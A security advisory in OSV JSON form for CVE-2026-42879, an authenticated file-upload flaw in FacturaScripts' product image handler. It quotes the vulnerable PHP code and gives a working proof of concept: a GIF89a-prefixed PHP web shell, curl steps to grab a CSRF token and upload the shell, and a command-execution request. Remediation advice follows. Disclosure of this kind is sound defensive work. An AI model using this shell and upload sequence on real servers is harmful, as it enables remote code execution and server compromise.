CVE-2026-42879: Facturascripts/facturascripts Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vf3q-frmr-vrr9",
  "modified" : "2026-06-08T23:53:25Z",
  "published" : "2026-05-07T19:49:05Z",
  "aliases" : [ "CVE-2026-42879" ],
  "summary" : "FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images",
  "details" : "# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass\n \n## Summary\n \nAn authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.\n \n---\n \n## Details\n \nThe vulnerability exists in:\n \n`Core/Lib/ExtendedController/ProductImagesTrait.php`\n \nSpecifically in the `addImageAction()` method.\n \n### Vulnerable Code\n \n```php\nif (false === strpos($uploadFile->getMimeType(), 'image/')) {\n    Tools::log()->error('file-not-supported');\n    continue;\n}\n \n$folder = Tools::folder('MyFiles');\nTools::folderCheckOrCreate($folder);\n$uploadFile->move($folder, $uploadFile->getClientOriginalName());\n```\n \n### Root Cause\n \n- The validation only checks if MIME type contains `\"image/\"`\n- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file\n- The system incorrectly identifies the file as `image/gif`\n- The file is saved with a `.php` extension in a web-accessible directory\n \n### File Storage Behavior\n \nUploaded files are stored in:\n \n```\n/MyFiles/YYYY/MM/X.php\n```\n \nWhere `X` is an auto-incrementing ID. This allows direct remote execution:\n \n```\nhttp://target/MyFiles/2026/03/2.php?cmd=id\n```\n \n---\n \n## Impact\n \nSuccessful exploitation:\n\nAn attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.\n---\n \n## Proof of Concept (Manual)\n \n### Step 1: Create malicious file\n \n```bash\ncat > shell.jpg.php << 'EOF'\nGIF89a\n<?php\nsystem($_GET['cmd']);\n?>\nEOF\n```\n \n### Step 2: Authenticate\n \n- Login to the application\n- Extract `PHPSESSID` from browser cookies\n \n### Step 3: Get CSRF token\n \n```bash\ncurl -s \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  | grep -o 'multireqtoken\\\" value=\\\"[^\\\"]*\\\"' | cut -d'\"' -f4\n```\n \n### Step 4: Upload shell\n \n```bash\ncurl -X POST \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  -F \"multireqtoken=YOUR_CSRF_TOKEN\" \\\n  -F \"action=add-image\" \\\n  -F \"activetab=EditProductoImagen\" \\\n  -F \"idproducto=3\" \\\n  -F \"newfiles[]=@shell.jpg.php\"\n```\n \n### Step 5: Execute command\n \n```bash\ncurl \"http://target/MyFiles/2026/03/2.php?cmd=id\"\n```\n \n---\n\n \n## Affected Products\n \n| Field | Value |\n|---|---|\n| Ecosystem | Packagist |\n| CVE ID | CVE-2026-42879 |\n| Package Name | `facturascripts/facturascripts` |\n| Affected Versions | <= 2025.81 |\n| Patched Versions | Not yet patched |\n| Fixed in | Pending |\n \n---\n \n## Remediation Recommendations\n \n1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type\n2. **Re-generate filenames on the server** — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension\n3. **Store uploads outside the webroot** — serve files through a controller that streams content, preventing direct URL execution\n4. **Use a file type library** — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME\n## Credits\n\n- **Discoverer**: Abdullah Alwasabei / Guzrex",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "facturascripts/facturascripts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2025.81"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42879"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NeoRazorX/facturascripts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434", "CWE-94" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T19:49:05Z",
    "nvd_published_at" : "2026-05-27T19:16:18Z"
  }
}